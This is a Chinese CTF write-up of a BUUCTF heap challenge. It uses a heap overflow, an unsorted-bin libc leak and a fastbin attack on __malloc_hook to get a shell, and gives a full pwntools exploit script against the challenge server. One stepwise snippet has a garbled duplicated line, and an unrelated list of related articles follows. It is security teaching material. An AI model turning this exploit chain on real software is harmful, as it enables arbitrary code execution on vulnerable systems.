BUUCTF[堆][unsortbin]

fastbin Attack 、unsorted bin

思路:

  1. 利用double free的方式泄漏出unsortbin中的main_arena地址。

  2. 释放一个不属于fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。

  3. 当有一个(或几个) small/large chunk 被释放(不属于fastbin)时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址。

  4. main_arena结构示意图(白嫖:https://www.52pojie.cn/thread-1467962-1-1.html):

    image-20240711165914940

题解:

题目地址:BUUCTF在线评测 (buuoj.cn)

  1. 程序使用一个结构体数组来存储堆的指针、大小、是否被使用或者释放等信息,可以将结构体补充上去:

    image-20240711160314378

    image-20240711160244931

  2. fill函数存在堆溢出,可以利用这个漏洞实现double free,配合dump函数泄漏main_arena地址:

  3. free函数中将堆指针清0,不能使用UAF:

    image-20240711160518623

  4. 利用过程:

    • 先申请4个小chunk,一个大chunk,再释放chunk1和chunk2,chunk2 用来修改fd,指向chunk4,来达到double free的效果:
    add(0x10,b'a')    #0
    add(0x10,b'b')    #1 作为修改fd,指向chunk4的牺牲品
    add(0x10,b'c')    #2 用来修改fd,指向chunk4
    add(0x10,b'd')    #3 用来恢复chunk4的size字段
    add(0x80,b'e')    #4 small chunk用来得到main_arena地址
    
    free(1)
    free(2)
    
    #修改chunk2的fd指针,指向chunk4
    payload = p64(0)*3 + p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
    fill(0,payload)
    

    修改前,chunk2的fd指向chunk1:

    image-20240711161110921

    修改后,chunk2的fd指向chunk4(此时chunk4并没有被释放,所以再申请回去就能达成了double free,两个指针指向同一个chunk):

    image-20240711161147880

    • 利用堆溢出修改chunk4的size字段,来绕过malloc 的检查:
    #修改chunk4的size字段,申请时绕过fastbin的检查
    payload = p64(0)*3+p64(0x21)
    fill(3,payload)
    

    image-20240711161459967

    • 两次申请,将chunk4申请回原来的chunk2位置,再利用chunk3修改回chunk4的size字段(便于后面继续分配chunk):
    #第二次申请chunk4(2)
    add(0x10,b'f')    #1
    add(0x10,b'g')    #2 与4一起指向small chunk
    #将chunk4的size字段改回来
    payload = p64(0)*3 + p64(0x91)
    fill(3,payload)
    

    image-20240711161804445

    • 此时直接释放chunk4(或者chunk2)由于与top chunk相邻,会被直接回收,所以再申请一个chunk将其隔开,然后再释放:
    #防止chunk4释放后,进入top chunk
    add(0x10,b'h')  #5 
    free(4)
    
    • 此时chunk2(chunk4)中会存在main_arena中的unsorted地址:

    image-20240711170418963

    • 正常情况下(此题没有UAF)再free掉chunk后是不能再访问的,但是前面构造的double free让我们可以利用chnk2和chunk4访问同一个chunk,前面用4释放了所以现在用chunk2来输出其中的内容(chunk2和chunk4指向同一个chunk):
    dump(2)
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    ##__malloc_hook只与main_arena地址相差0x10
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    #获得main_arena偏移后计算libc基地址
    libc_base = addr-(main_arena_offset+0x58)
    success("libc_addr==>"+hex(libc_base))
    
    malloc_hook = libc.symbols["__malloc_hook"]+libc_base
    #用one_gadget查出execve的偏移
    malloc_hook = libc.symbols["__malloc_hook"]+libc_base
    execve_addr  = 0x4526a + libc_base
    success("malloc_hook==>"+hex(malloc_hook))
    success("execve_addr==>"+hex(execve_addr))  = 0x4526a + libc_base
    success("malloc_hook==>"+hex(malloc_hook))
    success("execve_addr==>"+hex(execve_addr))
    

    image-20240711164108341

    • 在malloc_hook之前伪造一个chunk,用来覆盖malloc_hook:
    #申请一个size字段为0x71的chunk,再释放掉,如何修改其fd值,指向malloc_hook前面size为0x7f的空间伪造chunk(malloc_hook-0x23)
    add(0x60,b'6')  #4
    free(4)
    payload = b"AAAAAAAA"*3 + p64(0x71) + p64(malloc_hook-0x23)
    fill(3,payload)
    

    image-20240711164131595

    image-20240711165225361

    • 两次申请,申请到伪造的chunk,然后堆溢出修改malloc_hook,最后调用即可:
    #将伪造的chunk申请回来
    add(0x60,b't')  #4
    add(0x60,b'j')  #6
    
    #覆盖malloc_hook指向execve_addr,覆盖的垃圾数据要在gdb中计算好
    payload = b"AAAAAAAA"*2+b"aaa"+p64(execve_addr)
    fill(6,payload)
    
    #调用evecve("/bin/sh")
    add(0x100,b'lzl')
    p.sendline(b"cat flag")
    p.interactive()
    
  5. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    p = remote("node5.buuoj.cn",25775)
    # p = process("./pwn")
    libc = ELF('./libc-2.23.so')
    elf = ELF("./pwn")
    
    
    def add(size,content):
        p.sendlineafter(b':','1')
        p.sendlineafter(':',str(size))
        # p.sendlineafter(':',content)
    
    def fill(index, content):
        p.sendlineafter(':','2')
        p.sendlineafter(':',str(index).encode())
        p.sendlineafter(':',str(len(content)))
        p.sendafter(b':',content)
    
    def free(index):
        p.sendlineafter(':','3')
        p.sendlineafter(':',str(index).encode())
    
    def dump(index):
        p.sendlineafter(b':',b'4')
        p.sendlineafter(b':',str(index).encode())
    add(0x10,b'a')    #0
    add(0x10,b'b')    #1 作为修改fd,指向chunk4的牺牲品
    add(0x10,b'c')    #2 用来修改fd,指向chunk4
    add(0x10,b'd')    #3 用来恢复chunk4的size字段
    add(0x80,b'e')    #4 small chunk用来得到main_arena地址
    
    free(1)
    free(2)
    
    #修改chunk2的fd指针,指向chunk4
    payload = p64(0)*3 + p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
    fill(0,payload)
    
    #修改chunk4的size字段,申请时绕过fastbin的检查
    payload = p64(0)*3+p64(0x21)
    fill(3,payload)
    
    #第二次申请chunk4(2)
    add(0x10,b'f')    #1
    add(0x10,b'g')    #2 与4一起指向small chunk
    #将chunk4的size字段改回来
    payload = p64(0)*3 + p64(0x91)
    fill(3,payload)
    
    
    #防止chunk4释放后,进入top chunk
    add(0x10,b'h')  #5 
    free(4)
    
    #由于2被释放,所以用4来输出其中的main_arena,如果前面释放的是chunk2,那就用chunk4打印
    dump(2)
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    libc_base = addr-(main_arena_offset+0x58)
    success("libc_addr==>"+hex(libc_base))
    
    malloc_hook = libc.symbols["__malloc_hook"]+libc_base
    execve_addr  = 0x4526a + libc_base
    success("malloc_hook==>"+hex(malloc_hook))
    success("execve_addr==>"+hex(execve_addr))
    
    #申请一个size字段为0x71的chunk,再释放掉,如何修改其fd值,指向malloc_hook前面size为0x7f的空间伪造chunk(malloc_hook-0x23)
    add(0x60,b'6')  #4
    free(4)
    payload = b"AAAAAAAA"*3 + p64(0x71) + p64(malloc_hook-0x23)
    fill(3,payload)
    
    
    #将伪造的chunk申请回来
    add(0x60,b't')  #4
    add(0x60,b'j')  #6
    
    #覆盖malloc_hook指向execve_addr
    payload = b"AAAAAAAA"*2+b"aaa"+p64(execve_addr)
    fill(6,payload)
    
    #调用evecve("/bin/sh")
    add(0x100,b'lzl')
    p.sendline(b"cat flag")
    p.interactive()
    

    image-20240711165659284

参考:

  1. 从零开始的Linux堆利用(六)——Unsortedbin Attack - 『软件调试区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
  2. [分享]0ctf2017 - babyheap-Pwn-看雪-安全社区|安全招聘|kanxue.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/792649.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

BUCK电源芯片,电气参数,极限参数,工作特性,引脚功能

概述 在应用DC-DC开关电源芯片时,通常需要关注以下参数,同步与非同步,输入电压,输入电流,输出电压,输出电流,输入输出电容的选择;mosfet选型,电感选型,功耗&a…

Kodcloud可道云安装与一键发布上线实现远程访问详细教程

文章目录 1.前言2. Kodcloud网站搭建2.1. Kodcloud下载和安装2.2 Kodcloud网页测试 3. cpolar内网穿透的安装和注册4. 本地网页发布4.1 Cpolar云端设置4.2 Cpolar本地设置 5. 公网访问测试6.结语 1.前言 本文主要为大家介绍一款国人自研的在线Web文件管理器可道云,…

[Python学习篇] Python多线程

多线程 Python 多线程编程是一种在单个程序中同时执行多个线程的技术,主要用于提高程序的并发性和性能,尤其是在 I/O 操作频繁的场景下。Python 提供了 threading 模块来支持多线程编程。 基本概念 线程:线程是一个独立的执行流,可…

【SpringBoot Web框架实战教程】08 SpringBoot 自定义异常处理输出

不积跬步,无以至千里;不积小流,无以成江海。大家好,我是闲鹤,公众号:xxh_zone,十多年开发、架构经验,先后在华为、迅雷服役过,也在高校从事教学3年;目前已创业…

基于FPGA的数字信号处理(16)--定点数的舍入模式(7)6种舍入模式的总结

前言 在前面的6篇文章中,分别对6中舍入模式做了详细的介绍,本文在前文的基础上,再对这6种舍入模式做一个对比和总结。 6种舍入模式 在数据处理过程中,为了防止数据溢出而增加位宽是一种很常见的处理方式,但是随着算法链…

中国科学院地理所牛书丽团队《Global Change Biology 》最新成果!

本文首发于“生态学者”微信公众号! 在全球气候变化的背景下,干旱地区的扩张对生态系统的氮循环产生了深远影响。氮同位素(δ15N)的天然丰度,尤其是土壤中的δ15N,是评估陆地生态系统氮循环动态和氮限制的关…

固定资产定位追踪管理系统

固定资产定位跟踪管理系统是一个利用技术手段对公司资产进行定位、跟踪和管理的系统。它帮助企业实时了解资产的位置、情况和使用情况,提高固定资产管理的效率和准确性。以下是该系统的主要功能和优势:  固定资产识别和识别:系统通过使用识…

springboot大学校园二手书交易APP-计算机毕业设计源码25753

摘 要 在数字化与移动互联网迅猛发展的今天,人们对于图书的需求与消费方式也在悄然改变。为了满足广大读者对图书的热爱与追求,我们倾力打造了一款基于Android平台的图书交易APP。这款APP不仅汇聚了海量的图书资源,提供了便捷的交易平台&…

边缘计算盒子_B100_Jetson Nano (aarch64)开发环境搭建

目录 一、刷机步骤1、搭建刷机环境2、进入刷机模式3、开始刷机 二、系统迁移到TF卡 或者 U盘1、迁移脚本2、提前插入U盘或者TF卡3、 开始迁移 三、搭建miniconda 环境1、下载安装 四、jetpack开发套件环境1、版本查看2、apt 更换国内源3、安装Jetson-stats管理工具 一、刷机步骤…

图纸文档管理新篇章:陕西航沣与三品软件合作 优化研发流程

近日,陕西航沣新材料有限公司与三品软件正式达成合作协议,共同打造高效、智能的图纸文档管理平台。此次合作旨在赋能陕西航沣在高性能碳纤维增强纸基摩擦材料领域的创新与发展,提升企业的核心竞争力。 客户简介 陕西航沣新材料有限公司&…

【通过pnpm创建vite项目】

vue3最新项目技术构建后台管理系统 一、技术要求二、安装pnpm2.1 构建vite三、项目配置3.1 eslint 配置3.2 prettier配置3.3 stylelint配置3.4 配置husky3.5 配置commitlint3.6 pnpm 强制安装四、Element-plus 引入4.1 完整引入4.2 国际化配置4.3 配置别名4.4 Env环境配置4.5 s…

【2024_CUMCM】数据预处理、数据分析、数据可视化

目录 2023-c题-问题1 问题分析 偏度 峰度 箱线图 读图 重采样、降采样、升采样 重采样 降采样 升采样 解题代码 2023-c题-问题1 问题分析 问题说白了就是探究品类和销售量这两个数据他们各自内在联系,根据题意,我们先进行数 据预处理&#…

机器视觉:(1) 初识Roboflow(使用详解一)获取数据集(最新)

一:访问地址 [1] Roboflow官网:官网地址 [2]YOLOv8 项目地址github源码地址 [3]YOLOv8 官方教程官网教程地址 二:获取数据集步骤 1.访问官网地址:进入首页面,点击登录 2.注册过程省略了,按步骤走就可以…

01. 课程简介

1. 课程简介 本课程的核心内容可以分为三个部分,分别是需要理解记忆的计算机底层基础,后端通用组件以及需要不断编码练习的数据结构和算法。 计算机底层基础可以包含计算机网络、操作系统、编译原理、计算机组成原理,后两者在面试中出现的频…

【MySQL】mysqldumpslow工具 -- 总结慢查询日志文件

1. 作用 在平时使用MySQL数据库时,经常进行查询操作,有些查询语句执行的时间非常长,当执行时间超过设定的阈值时,我们称这个查询为慢查询,慢查询的相关信息通常需要用日志记录下来称为慢查询日志,mysqldum…

下载设计免抠元素,就上这6个网站,免费下载!

寻找免费PNG免抠素材网站是创意设计者们探索的重要一环。这些网站提供了丰富的PNG格式素材,去除了背景,方便在不同项目中使用。精心挑选了6个免费PNG免抠素材网站,它们提供了高品质的素材资源,无论是个人设计还是商业项目&#xf…

OpenCV漫水填充函数floodFill函数的使用

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 功能描述 ffloodFill函数是OpenCV库中用于图像处理的一个功能,它用于填充与种子点颜色相近的连通区域。这个函数在很多场景下都非常有用&#x…

AutoHotKey自动热键(七)WINDOWS按键映射与鼠标映射(替换/组合)

该脚本支持简单的按键替换,可以针对某个窗口进行按键替换,还可以对鼠标和键盘进行互相替换,也可以用来禁用一些按键 键盘按键映射 普通按键映射 a::b这样子就直接在全局把所有的a键输入都映射成b键输出 上面这一行在执行过程中相当于拆解成下面两个,第一个是按下,第二个是弹…

【chatgpt消费者偏好】是什么驱动了游客持续旅游意愿?推文分享—2024-07-08

今天推文的主题是【chatgpt&消费者意愿】 第一篇:文章主要研究了什么因素驱动旅游者继续使用ChatGPT进行旅行服务,并从人类拟态的角度探讨了旅游者对ChatGPT的感知和使用意图。第二篇:本文探讨了ChatGPT-4在生成针对TripAdvisor上发布的…

Apache防盗链、网页压缩、网页缓存

目录 网页压缩 类型 示例 动态添加模块操作步骤 重装Apache操作步骤 网页缓存 示例 操作步骤 隐藏版本信息 操作步骤 Apache防盗链 定义 原理 配置防盗链实验环境 实验环境 本地图片盗链示例 操作步骤 防盗链示例 操作步骤 网页压缩 网站的访问速度是由多个…